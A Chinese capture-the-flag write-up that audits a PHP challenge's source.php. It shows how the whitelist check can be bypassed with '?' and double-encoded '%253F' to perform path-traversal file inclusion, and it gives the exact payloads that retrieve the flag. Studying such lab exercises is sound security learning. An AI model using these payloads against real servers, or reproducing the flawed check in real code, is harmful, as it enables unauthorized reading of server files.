题目地址:
解题过程:
网页上打开就只有一个大滑稽,网页名是Document,所以是文件包含?提交file参数,一直是:you can’t see it。
题目标签是代码审计,我也没看到代码啊……
查看源代码看到source.php内心毫无波澜,后来查找才知道要访问它……(菜\1)*
好,访问source.php我终于看到代码了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; }
if (in_array($page, $whitelist)) { return true; }
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }
$_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } }
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
|
到目前为止还没有看到过这么长的代码审计(菜\2)*
先看与file有关的代码:
1 2 3 4 5 6
| if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit;
|
file要求是字符串且不为空,用emmm中的checkFile调用。file中的值传递给了page。checkFile中四个if语句,每个都有return。
第一个if:
1 2 3 4 5
| $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; }
|
先设置了一个白名单数组,准许访问source.php和hint.php,hint.php中存放了flag的位置。第一个if语句要求page存在且为字符串,不符合则return false,退出程序。
第二个if:
1 2 3
| if (in_array($page, $whitelist)) { return true; }
|
in_array()函数在page中查找是否有与whitelist中键值对应的字符串。有则return true,退出程序。
第三个if:
1 2 3 4 5 6 7 8
| $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }
|
mb_strpos为page拼接了一个?,并返回其**第一次出现的位置**。mb_substr从开头显示字符至?所在的位置,处理后page再次进行比对。
那不是只能读source.php了?……$_page啊,那没事了……(菜\3)*
第四个if:
1 2 3 4 5 6 7 8 9 10 11
| $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false;
|
先对page进行了url编码,再进行读取和对比的操作……
注意:PHP中$_GET、$_POST、$_REQUEST这类函数在提取参数值时会URL解码一次
这位师傅上面写第三个if不能利用,但逻辑理通之后我感觉也是可以利用的。
?一次编码为%3F,二次编码为%253F,那么第三个if的利用需要if的一次编码。
第三个if利用:
payload:?file=source.php%3F../../../../../../ffffllllaaaagggg(服务器找不到source.php%3F,就视为一个文件夹)

成功出flag
第四个if利用:
自然,需要二次编码的’?‘。
payload:?file=source.php%253F../../../../../../ffffllllaaaagggg

总算做了点实在事……
知识点总结:
- 这位师傅不错呦
- in_array() 函数搜索数组中是否存在指定的值
- mb_substr() 函数返回字符串的一部分, substr() 函数只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
- mb_strpos() 查找字符串在另一个字符串中首次出现的位置,mb_strpos 按字处理,strpos 按字符处理。
补充:https://www.feiniaomy.com/post/388.html
- 关于路径符号的一些知识。
- 服务器找不到XXXXXXX,就视为一个文件夹。